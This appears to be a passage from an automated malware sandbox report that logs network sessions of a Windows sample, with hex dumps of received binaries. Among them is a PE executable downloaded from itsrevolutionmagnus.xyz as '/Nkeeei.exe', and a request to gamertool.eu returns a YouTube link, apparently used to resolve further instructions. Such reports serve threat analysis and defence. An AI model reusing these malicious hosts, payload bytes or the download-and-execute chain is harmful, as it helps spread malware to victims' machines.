2024-12-27 13:42:38 UTC	1369	IN	Data Raw: 5f 5d 8d 61 fc c3 c7 05 68 90 48 00 01 00 00 00 e9 16 fe ff ff 31 c0 a3 68 90 48 00 e9 0a fe ff ff 55 89 e5 83 ec 18 8b 45 08 89 04 24 e8 00 d0 00 00 c9 83 f8 01 19 c0 c3 90 55 89 e5 83 ec 18 c7 04 24 40 13 40 00 e8 d5 ff ff ff c9 c3 c3 90 90 90 66 90 66 90 66 90 66 90 66 90 66 90 80 3d 20 90 48 00 00 74 07 c3 8d b6 00 00 00 00 56 53 83 ec 14 c6 05 20 90 48 00 01 c7 04 24 33 e0 47 00 ff 15 bc a2 48 00 8b 35 94 a2 48 00 83 ec 04 89 c3 c7 44 24 04 40 e0 47 00 89 04 24 ff d6 83 ec 08 a3 30 90 48 00 89 1c 24 c7 44 24 04 51 e0 47 00 ff d6 83 ec 08 a3 2c 90 48 00 89 1c 24 c7 44 24 04 61 e0 47 00 ff d6 83 ec 08 a3 28 90 48 00 89 1c 24 c7 44 24 04 6e e0 47 00 ff d6 83 ec 08 a3 24 90 48 00 83 c4 14 5b 5e c3 90 90 83 f8 4f 74 17 77 08 83 e8 1c 83 f8 05 eb 06 83 e8 Data Ascii: _]ahH1hHUE$U$@@ffffff= HtVS H$3GH5HD$@G$0H$D$QG,H$D$aG(H$D$nG$H[^Otw
2024-12-27 13:42:38 UTC	1369	IN	Data Raw: 8b 43 0c 83 38 05 75 06 ff 86 38 01 00 00 42 89 f0 89 96 1c 01 00 00 8b 53 0c e8 19 ff ff ff 8b 53 10 89 f0 e8 0f ff ff ff ff 8e 1c 01 00 00 eb 10 8b 5b 10 e9 0c ff ff ff 8b 5b 0c e9 04 ff ff ff 83 c4 0c 5b 5e 5f 5d c3 55 89 e5 53 89 c3 83 ec 14 8b 80 00 01 00 00 c6 04 03 00 8b 93 0c 01 00 00 89 44 24 04 89 1c 24 89 54 24 08 ff 93 08 01 00 00 31 c0 ff 83 28 01 00 00 89 83 00 01 00 00 83 c4 14 5b 5d c3 55 89 e5 53 89 c3 83 ec 14 81 b8 00 01 00 00 ff 00 00 00 75 0b 89 55 f4 e8 a5 ff ff ff 8b 55 f4 8b 83 00 01 00 00 8d 48 01 89 8b 00 01 00 00 88 14 03 88 93 04 01 00 00 83 c4 14 5b 5d c3 55 89 e5 57 89 c7 56 8d 34 0a 53 89 d3 83 ec 0c 39 f3 74 0d 0f be 13 89 f8 43 e8 a3 ff ff ff eb ef 83 c4 0c 5b 5e 5f 5d c3 31 d2 85 c0 74 11 83 38 30 75 0c 83 78 0c 00 74 06 Data Ascii: C8u8BSS[[[^_]USD$$T$1([]USuUUH[]UWV4S9tC[^_]1t80uxt
2024-12-27 13:42:38 UTC	1369	IN	Data Raw: e8 5c ff ff ff 89 f8 ba 80 fc 47 00 e8 9e fb ff ff 8b 4e 10 89 f8 ba 11 00 00 00 e8 41 ff ff ff ba 5d 00 00 00 89 f8 e8 02 fb ff ff e9 14 17 00 00 ba 5b 00 00 00 89 f8 89 f3 e8 ef fa ff ff 8b 4b 0c ba 11 00 00 00 89 f8 e8 13 ff ff ff 8b 5b 10 85 db 0f 84 92 00 00 00 ba 86 fc 47 00 89 f8 e8 4a fb ff ff eb d8 8b 41 0c 83 38 28 0f 85 74 12 00 00 8b 40 0c 8b 58 10 83 fb 06 0f 87 6d 11 00 00 85 db 0f 85 73 11 00 00 ba 28 00 00 00 89 f8 e8 98 fa ff ff 8b 4e 0c ba 11 00 00 00 89 f8 e8 bc fe ff ff ba 29 00 00 00 89 f8 e8 7d fa ff ff 83 3e 3f 75 0c ba 2d 00 00 00 89 f8 e8 6c fa ff ff 83 fb 08 75 0c ba 5b 00 00 00 89 f8 e8 5b fa ff ff 8b 4e 10 ba 11 00 00 00 89 f8 e8 7f fe ff ff 83 fb 08 0f 85 5a 16 00 00 ba 5d 00 00 00 89 f8 e8 37 fa ff ff e9 49 16 00 00 8b 49 0c Data Ascii: \GNA][K[GJA8(t@Xms(N)}>?u-lu[[NZ]7II
2024-12-27 13:42:38 UTC	1369	IN	Data Raw: 09 fd 47 00 e8 4d f6 ff ff 8b 4e 10 ba 11 00 00 00 89 f8 e8 f0 f9 ff ff e9 cf 11 00 00 89 f8 ba 0e fd 47 00 e8 2d f6 ff ff 8b 4e 0c ba 11 00 00 00 89 f8 e8 d0 f9 ff ff e9 af 11 00 00 89 f8 ba 1c fd 47 00 e8 0d f6 ff ff 8b 4e 0c ba 11 00 00 00 89 f8 e8 b0 f9 ff ff e9 8f 11 00 00 89 f8 ba 2f fd 47 00 e8 ed f5 ff ff 8b 4e 0c ba 11 00 00 00 89 f8 e8 90 f9 ff ff e9 6f 11 00 00 89 f8 ba 40 fd 47 00 e8 cd f5 ff ff 8b 4e 0c ba 11 00 00 00 89 f8 e8 70 f9 ff ff e9 4f 11 00 00 89 f8 ba 56 fd 47 00 e8 ad f5 ff ff 8b 4e 0c ba 11 00 00 00 89 f8 e8 50 f9 ff ff e9 2f 11 00 00 89 f8 ba 68 fd 47 00 e8 8d f5 ff ff 8b 4e 0c ba 11 00 00 00 89 f8 e8 30 f9 ff ff e9 0f 11 00 00 89 f8 ba 83 fd 47 00 e8 6d f5 ff ff 8b 4e 0c ba 11 00 00 00 89 f8 e8 10 f9 ff ff e9 ef 10 00 00 89 f8 Data Ascii: GMNG-NGN/GNo@GNpOVGNP/hGN0GmN
2024-12-27 13:42:38 UTC	1369	IN	Data Raw: 87 14 01 00 00 0f 85 88 0c 00 00 83 fb 01 76 18 4b ba 11 00 00 00 89 d8 c1 e0 04 8b 4c 04 34 89 f8 e8 cb 0c 00 00 eb e3 8b 87 14 01 00 00 89 f1 ba 11 00 00 00 89 04 24 89 f8 e8 61 10 00 00 e9 4f 0c 00 00 8b 87 14 01 00 00 31 db 89 4c 24 34 ba 11 00 00 00 89 5c 24 38 8b 49 10 89 44 24 30 8d 44 24 30 89 87 14 01 00 00 8b 87 10 01 00 00 89 44 24 3c 89 f8 e8 34 f4 ff ff 83 7c 24 38 00 75 0e 89 f1 ba 11 00 00 00 89 f8 e8 61 0c 00 00 8b 44 24 30 89 87 14 01 00 00 e9 f4 0b 00 00 8b 49 0c 85 c9 74 0c ba 11 00 00 00 89 f8 e8 fd f3 ff ff 83 7e 10 00 0f 84 d7 0b 00 00 81 bf 00 01 00 00 fd 00 00 00 76 07 89 f8 e8 6f ef ff ff ba 86 fc 47 00 89 f8 e8 22 f0 ff ff 8b 87 28 01 00 00 8b 4e 10 ba 11 00 00 00 8b 9f 00 01 00 00 89 44 24 1c 89 f8 e8 b5 f3 ff ff 8b 44 24 1c 3b Data Ascii: vKL4$aO1L$4\$8ID$0D$0D$<4\|$8uaD$0It~voG"(ND$D$;
2024-12-27 13:42:38 UTC	1369	IN	Data Raw: 00 89 14 24 89 54 24 1c e8 30 b6 00 00 8b 54 24 1c 85 c0 75 2c 89 f8 ba 5b 00 00 00 e8 02 eb ff ff 8b 46 10 ba 11 00 00 00 8b 48 10 89 f8 e8 23 ef ff ff ba 5d 00 00 00 89 f8 e8 e4 ea ff ff eb 34 c7 44 24 04 60 fe 47 00 89 14 24 e8 ec b5 00 00 85 c0 74 0e 89 d9 ba 11 00 00 00 89 f8 e8 a3 0b 00 00 8b 46 10 ba 11 00 00 00 8b 48 10 89 f8 e8 ae 0b 00 00 8b 46 0c 83 38 33 0f 85 b9 06 00 00 8b 40 0c 83 78 08 01 0f 85 ac 06 00 00 8b 40 04 80 38 3e 0f 85 a0 06 00 00 ba 29 00 00 00 89 f8 e8 7d ea ff ff e9 8f 06 00 00 c7 87 18 01 00 00 01 00 00 00 e9 80 06 00 00 8b 41 10 83 38 3c 0f 85 2a f3 ff ff 8b 40 10 83 38 3d 0f 85 1e f3 ff ff ba 11 00 00 00 89 f8 e8 ab 0b 00 00 85 c0 0f 85 54 06 00 00 89 f1 ba 11 00 00 00 89 f8 e8 c9 0c 00 00 85 c0 0f 85 3e 06 00 00 8b 46 10 Data Ascii: $T$0T$u,[FH#]4D$`G$tFHF83@x@8>)}A8<*@8=T>F
2024-12-27 13:42:38 UTC	1369	IN	Data Raw: 87 20 01 00 00 8b 13 8d 48 ff 89 f8 e8 56 e9 ff ff 8b 5b 10 eb a4 89 f8 ba 3e 00 00 00 e8 a8 e5 ff ff 8b 44 24 1c 8b 40 10 89 44 24 1c ff 87 20 01 00 00 89 f8 ba 28 00 00 00 e8 8b e5 ff ff 8b 4c 24 1c 89 f8 ba 11 00 00 00 e8 ae e9 ff ff 8b 44 24 18 ba f4 fe 47 00 89 87 20 01 00 00 8b 44 24 30 89 87 10 01 00 00 89 f8 e8 dc e5 ff ff 8b 46 10 8d 50 01 89 f8 e8 ba e8 ff ff ba 7d 00 00 00 89 f8 e8 42 e5 ff ff e9 54 01 00 00 89 f8 ba f7 fe 47 00 e8 b2 e5 ff ff 8b 46 0c 8d 50 01 89 f8 e8 90 e8 ff ff ba 7d 00 00 00 89 f8 e8 18 e5 ff ff e9 2a 01 00 00 8b 49 0c 89 f8 ba 11 00 00 00 e8 37 e9 ff ff 89 f8 ba 06 ff 47 00 e8 79 e5 ff ff 8b 4e 10 89 f8 ba 11 00 00 00 e8 1c e9 ff ff ba 5d 00 00 00 89 f8 e8 dd e4 ff ff e9 ef 00 00 00 8b 49 0c 89 f8 ba 11 00 00 00 e8 fc e8 Data Ascii: HV[>D$@D$ (L$D$G D$0FP}BTGFP}*I7GyN]I
2024-12-27 13:42:38 UTC	1369	IN	Data Raw: 14 01 00 00 89 d8 e8 99 e4 ff ff 8b 45 e4 ba 89 fc 47 00 89 83 14 01 00 00 89 d8 e8 d2 e0 ff ff 8b 46 04 8b 70 10 83 3e 49 75 28 ba 8c fc 47 00 89 d8 e8 bb e0 ff ff 8b 46 10 8d 50 01 89 d8 e8 99 e3 ff ff ba 9a fc 47 00 89 d8 e8 a2 e0 ff ff 8b 76 0c 8b 06 e8 25 db ff ff 85 c0 75 f2 89 f1 ba 11 00 00 00 89 d8 e8 38 e4 ff ff 89 bb 10 01 00 00 eb 19 ba 11 00 00 00 89 d8 e8 66 fc ff ff 89 bb 10 01 00 00 8b 36 e9 d0 fe ff ff 83 c4 2c 5b 5e 5f 5d c3 55 89 e5 57 56 89 ce 53 83 ec 2c 8b 4d 08 89 45 e4 89 c8 85 c9 75 0f 8b 45 e4 ba 20 00 00 00 e8 b8 df ff ff eb 64 8b 58 08 85 db 75 29 8b 40 04 31 ff 83 38 2b 74 2c 8b 45 e4 ba 2a 02 48 00 89 4d e0 bf 01 00 00 00 bb 01 00 00 00 e8 0c e0 ff ff 8b 4d e0 eb 0d 8b 00 85 c0 75 ca 31 ff bb 01 00 00 00 31 c0 ba 11 00 00 00 Data Ascii: EGFp>Iu(GFPGv%u8f6,[^_]UWVS,MEuE dXu)@18+t,E*HMMu11

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	172.67.182.218	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:43 UTC	208	OUT	GET /Nkeeei.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: itsrevolutionmagnus.xyz
2024-12-27 13:42:43 UTC	963	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:43 GMT Content-Type: application/octet-stream Content-Length: 117248 Connection: close Last-Modified: Fri, 27 Dec 2024 12:59:12 GMT ETag: "676ea4a0-1ca00" X-Content-Type-Options: nosniff Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2278 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9S3m%2FbK6CT4QLF4LVcWxsQd7fn4GmB2jeq1pG%2BWveR4r6jJ9az3xz0iXoi%2B5zOVp94xaT8H0IBoGcBpHRIOuCMz%2Fe6U9MFs9xZ38Vhfv3GIlWjNrBkThj3fXd0io6Bp%2FovcpIyC2EuOZ5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bc48aeb042a0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&min_rtt=1601&rtt_var=618&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2861&recv_bytes=822&delivery_rate=1747456&cwnd=225&unsent_bytes=0&cid=652e25922264ce60&ts=467&x=0"
2024-12-27 13:42:43 UTC	406	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3a cd 2c a6 7e ac 42 f5 7e ac 42 f5 7e ac 42 f5 35 d4 41 f4 74 ac 42 f5 35 d4 47 f4 f0 ac 42 f5 6f 2a 41 f4 68 ac 42 f5 6f 2a 46 f4 6c ac 42 f5 6f 2a 47 f4 51 ac 42 f5 35 d4 46 f4 6b ac 42 f5 35 d4 43 f4 75 ac 42 f5 7e ac 43 f5 f1 ac 42 f5 ff 2a 4b f4 7d ac 42 f5 ff 2a bd f5 7f ac 42 f5 ff 2a 40 f4 7f ac 42 f5 52 69 63 68 7e ac 42 f5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$:,~B~B~B5AtB5GBoAhBoFlBoGQB5FkB5CuB~CBK}BB@BRich~BPEL
2024-12-27 13:42:43 UTC	1369	IN	Data Raw: 00 00 00 f0 01 00 34 13 00 00 38 9c 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 9b 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a3 29 01 00 00 10 00 00 00 2a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 78 00 00 00 40 01 00 00 7a 00 00 00 2e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 15 00 00 00 c0 01 00 00 0c 00 00 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 e0 01 00 00 02 00 00 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f Data Ascii: 48px@@p.text)* `.rdatadx@z.@@.data4@.rsrc@@.relo
2024-12-27 13:42:43 UTC	1369	IN	Data Raw: e6 8b 85 78 fe ff ff 89 85 98 fe ff ff 8d 85 5c fe ff ff 50 68 19 00 02 00 89 8d 94 fe ff ff 8d 85 a0 fe ff ff 8b 8d 7c fe ff ff c5 fe 6f 85 a0 fe ff ff 6a 00 89 8d 9c fe ff ff c5 fd ef 85 80 fe ff ff 50 c5 fd 7f 85 a0 fe ff ff 68 00 00 00 80 c5 f8 77 ff 15 0c 40 41 00 85 c0 74 27 0f 57 c0 8b ce 6a 00 0f 11 06 68 a8 9a 41 00 c7 46 10 00 00 00 00 c7 46 14 00 00 00 00 e8 31 11 00 00 e9 bb 04 00 00 8d 85 7c fe ff ff c7 85 7c fe ff ff 04 01 00 00 50 8d 85 d0 fe ff ff 50 6a 00 6a 00 6a 00 ff b5 5c fe ff ff ff 15 08 40 41 00 ff b5 5c fe ff ff 85 c0 0f 84 05 01 00 00 ff 15 04 40 41 00 c7 85 50 fe ff ff 3d 68 94 02 0f 57 c0 c7 85 54 fe ff ff 17 4e ac e0 8b 85 50 fe ff ff 8b 8d 54 fe ff ff c7 85 50 fe ff ff b6 51 b9 0e c7 85 54 fe ff ff be 01 21 82 89 85 90 fe ff Data Ascii: x\Ph\|ojPhw@At'WjhAFF1\|\|PPjjj\@A\@AP=hWTNPTPQT!
2024-12-27 13:42:43 UTC	1369	IN	Data Raw: e5 5d 8b e3 5b c3 e8 dd 09 00 00 e8 96 8a 00 00 cc cc cc cc cc cc cc cc 55 8b ec 83 e4 e0 81 ec fc 02 00 00 a1 00 c0 41 00 33 c4 89 84 24 f8 02 00 00 56 8d 8c 24 b0 00 00 00 e8 d9 f8 ff ff 83 bc 24 c0 00 00 00 00 75 56 8b 8c 24 c4 00 00 00 83 f9 0f 76 30 8b 94 24 b0 00 00 00 41 8b c2 81 f9 00 10 00 00 72 14 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 ea 06 00 00 51 52 e8 cf 55 00 00 83 c4 08 8b 8c 24 fc 02 00 00 b8 01 00 00 00 5e 33 cc e8 7a 55 00 00 8b e5 5d c2 10 00 c7 44 24 08 55 1c e0 72 c7 44 24 0c 2d 61 83 87 8b 44 24 08 8b 4c 24 0c 89 44 24 20 89 4c 24 24 c7 44 24 08 d7 3c dc 7c c7 44 24 0c ca 6e 4e ee 8b 44 24 08 8b 4c 24 0c 89 44 24 28 89 4c 24 2c c7 44 24 08 31 c6 cd f0 c7 44 24 0c 4d 81 5c ed 8b 44 24 08 8b 4c 24 0c 89 44 24 30 89 4c 24 34 Data Ascii: ][UA3$V$$uV$v0$ArP#+QRU$^3zU]D$UrD$-aD$L$D$ L$$D$<\|D$nND$L$D$(L$,D$1D$M\D$L$D$0L$4
2024-12-27 13:42:43 UTC	1369	IN	Data Raw: 01 00 00 8b 4c 24 0c c7 44 24 08 1f 68 94 02 c7 44 24 0c 17 4e ac e0 89 84 24 d8 01 00 00 8b 44 24 08 89 8c 24 dc 01 00 00 8b 4c 24 0c c7 44 24 08 b6 51 b9 0e c7 44 24 0c be 01 21 82 89 44 24 10 8b 44 24 08 89 4c 24 14 8b 4c 24 0c c7 44 24 08 3d 68 94 02 c7 44 24 0c 17 4e ac e0 89 44 24 18 8b 44 24 08 89 4c 24 1c 8b 4c 24 0c c5 fd 7f 44 24 40 c5 fe 6f 44 24 60 c5 fd ef 84 24 a0 01 00 00 89 84 24 60 01 00 00 89 8c 24 64 01 00 00 c7 44 24 08 b6 51 b9 0e c7 44 24 0c be 01 21 82 8b 44 24 08 8b 4c 24 0c c5 f8 28 4c 24 10 c5 fd 7f 44 24 60 c5 fe 6f 84 24 80 00 00 00 c5 fd ef 84 24 c0 01 00 00 89 84 24 68 01 00 00 8d 84 24 b0 00 00 00 89 8c 24 6c 01 00 00 c5 f0 57 8c 24 60 01 00 00 c5 fd 7f 84 24 80 00 00 00 c5 f8 29 4c 24 10 50 8d 54 24 14 8d 4c 24 24 c5 f8 77 Data Ascii: L$D$hD$N$D$$L$D$QD$!D$D$L$L$D$=hD$ND$D$L$L$D$@oD$`$$`$dD$QD$!D$L$(L$D$`o$$$h$$lW$`$)L$PT$L$$w
2024-12-27 13:42:43 UTC	1369	IN	Data Raw: 21 3d 00 10 00 00 72 09 8d 48 23 3b c8 76 4d eb bf 50 e8 58 4b 00 00 83 c4 04 8b d8 8b 55 fc 8b 4d f8 89 19 56 ff 75 ec 89 51 10 53 89 79 14 e8 22 76 00 00 ff 75 f4 8d 0c 33 ff 75 f0 51 e8 13 76 00 00 8b 45 fc 83 c4 18 5f c6 04 03 00 8b 45 f8 5e 5b 8b e5 5d c3 e8 fa ed ff ff e8 55 ed ff ff e8 8e 7f 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 53 56 8b da 8b f1 8b 55 08 57 8b fa 89 75 fc 8d 4f 01 8a 07 47 84 c0 75 f9 8b 43 14 2b f9 8b 4b 10 2b c1 3b f8 77 27 83 7b 14 0f 8d 04 39 89 43 10 8b c3 76 02 8b 03 57 8d 34 08 52 56 e8 98 75 00 00 c6 04 3e 00 83 c4 0c 8b 75 fc eb 13 57 52 c6 45 fc 00 8b cb ff 75 fc 57 e8 ab 01 00 00 8b d8 0f 57 c0 8b c6 0f 11 06 c7 46 10 00 00 00 00 c7 46 14 00 00 00 00 0f 10 03 5f 0f 11 06 f3 0f 7e 43 10 Data Ascii: !=rH#;vMPXKUMVuQSy"vu3uQvE_E^[]UUSVUWuOGuC+K+;w'{9CvW4RVu>uWREuWWFF_~C
2024-12-27 13:42:43 UTC	1369	IN	Data Raw: 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 88 fa ff ff 89 8d 8c fa ff ff c7 85 18 fb ff ff 9c 26 86 eb c7 85 1c fb ff ff 7a 45 a7 48 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 90 fa ff ff 89 8d 94 fa ff ff c7 85 18 fb ff ff a1 2c b7 60 c7 85 1c fb ff ff c3 26 35 a8 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 98 fa ff ff 89 8d 9c fa ff ff c7 85 18 fb ff ff e7 70 6a 3c c7 85 1c fb ff ff 9c 71 99 02 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 a0 fa ff ff 89 8d a4 fa ff ff c7 85 18 fb ff ff cd 2f 57 96 c7 85 1c fb ff ff 5a 0f a3 90 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 a8 fa ff ff 89 8d ac fa ff ff c7 85 18 fb ff ff cd a4 0a 86 c7 85 1c fb ff ff 6d 6d c7 be 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 b0 fa ff ff 89 8d b4 fa ff ff c7 85 18 fb ff ff fb 3e 46 c0 c7 Data Ascii: &zEH,`&5pj<q/WZmm>F
2024-12-27 13:42:43 UTC	1369	IN	Data Raw: fb ff ff 51 50 8b cf e8 e8 f6 ff ff 8b 8d 38 fb ff ff 83 f9 0f 0f 86 d6 02 00 00 8b 95 24 fb ff ff 41 8b c2 81 f9 00 10 00 00 72 14 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 d6 02 00 00 51 52 e8 a6 40 00 00 83 c4 08 e9 a2 02 00 00 83 7e 14 0f 76 02 8b 36 6a 00 68 00 00 00 80 6a 00 6a 00 56 50 ff 15 50 41 41 00 89 85 f8 fa ff ff 85 c0 0f 85 43 01 00 00 ff b5 f4 fa ff ff ff 15 4c 41 41 00 c7 85 18 fb ff ff 4b c2 23 5d 0f 57 c0 c7 85 1c fb ff ff 24 e0 c3 30 8b 85 18 fb ff ff 8b 8d 1c fb ff ff c7 85 18 fb ff ff a0 62 f5 ad c7 85 1c fb ff ff 21 c9 e1 d1 89 85 00 fb ff ff 8b 85 18 fb ff ff 89 8d 04 fb ff ff 8b 8d 1c fb ff ff c7 85 18 fb ff ff 4b c2 23 5d c7 85 1c fb ff ff 24 e0 c3 30 89 85 08 fb ff ff 8b 85 18 fb ff ff 89 8d 0c fb ff ff 8b 8d 1c fb ff ff Data Ascii: QP8$ArP#+QR@~v6jhjjVPPAACLAAK#]W$0b!K#]$0
2024-12-27 13:42:43 UTC	1369	IN	Data Raw: c0 8d 4d a8 c7 06 e4 41 41 00 f3 0f 7e 45 d0 66 0f d6 45 b8 0f 57 c0 83 7d bc 0f 66 0f 7e c8 66 0f d6 46 04 0f 11 4d a8 0f 47 c8 c7 45 d0 00 00 00 00 8d 46 04 c7 45 d4 0f 00 00 00 50 8d 45 e0 c6 45 c0 00 50 89 4d e0 c6 45 e4 01 e8 da 4c 00 00 8b 4d bc 83 c4 08 c7 06 30 42 41 00 83 f9 0f 76 28 8b 55 a8 41 8b c2 81 f9 00 10 00 00 72 10 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 43 51 52 e8 0d 3b 00 00 83 c4 08 8b 4b 0c 8b c6 8b 53 10 c7 06 38 9b 41 00 89 4e 0c 89 56 10 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 8b 4d ec 33 cd e8 a1 3a 00 00 8b e5 5d 8b e3 5b c2 0c 00 e8 26 6f 00 00 e8 21 6f 00 00 cc cc cc 55 8b ec 56 8b f1 8d 46 04 c7 06 e4 41 41 00 50 e8 ae 4c 00 00 83 c4 04 f6 45 08 01 74 0b 6a 14 56 e8 a3 3a 00 00 83 c4 08 8b c6 5e 5d c2 04 00 55 8b ec 83 Data Ascii: MAA~EfEW}f~fFMGEFEPEEPMELM0BAv(UArP#+wCQR;KS8ANVMdY_^M3:][&o!oUVFAAPLEtjV:^]U
2024-12-27 13:42:43 UTC	1369	IN	Data Raw: f0 e8 1c fa 00 00 03 f0 8b 45 f4 13 fa 89 78 04 5f 89 30 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 53 8b dc 83 ec 08 83 e4 f8 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec 6a ff 68 6e 36 41 00 64 a1 00 00 00 00 50 53 83 ec 20 a1 00 c0 41 00 33 c5 89 45 ec 56 57 50 8d 45 f4 64 a3 00 00 00 00 89 55 d8 8b f1 89 75 d0 c7 45 dc 00 00 00 00 0f 57 c0 0f 11 06 c7 46 10 00 00 00 00 33 c0 c7 46 14 00 00 00 00 c7 46 10 00 00 00 00 c7 46 14 07 00 00 00 66 89 06 89 45 fc 8b 43 0c c7 45 dc 01 00 00 00 85 c0 0f 84 b6 00 00 00 3d ff ff ff 7f 0f 87 cb 00 00 00 6a 00 6a 00 50 ff 73 08 52 e8 f7 30 00 00 8b c8 89 4d e0 85 d2 0f 85 b5 00 00 00 8b 7e 10 3b cf 77 15 89 4e 10 8b c6 83 7e 14 07 76 02 8b 06 33 d2 66 89 14 48 eb 56 8b 46 14 8b d1 2b d7 2b c7 3b d0 77 35 83 7e 14 07 8b Data Ascii: Ex_0^[]SUkl$jhn6AdPS A3EVWPEdUuEWF3FFFfECE=jjPsR0M~;wN~v3fHVF++;w5~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49749	172.67.161.29	443	5428	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:47 UTC	211	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Cache-Control: no-cache Host: gamertool.eu Connection: Keep-Alive
2024-12-27 13:42:48 UTC	838	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BB%2B%2BPqOW39hTFlxoGdT0w2TapFei1xYBpdVWUlW3YyWem8FKv%2BDyvWwa2wF01bt7tjznsYuqxo8OjUjKKNYpLZANmrryyBtoM4TH4V2eO1ZB62mAzUH9hXoMfoaAKfk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bc64b9ee4207-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1867&min_rtt=1867&rtt_var=933&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4196&recv_bytes=825&delivery_rate=172312&cwnd=183&unsent_bytes=0&cid=4ad000f8a4f77e88&ts=866&x=0"
2024-12-27 13:42:48 UTC	49	IN	Data Raw: 32 62 0d 0a 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 77 6a 49 75 53 5f 72 51 51 73 59 0d 0a Data Ascii: 2bhttps://www.youtube.com/watch?v=wjIuS_rQQsY
2024-12-27 13:42:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49750	172.67.182.218	443	3320	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:48 UTC	208	OUT	GET /Nkeeei.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Host: itsrevolutionmagnus.xyz Cache-Control: no-cache
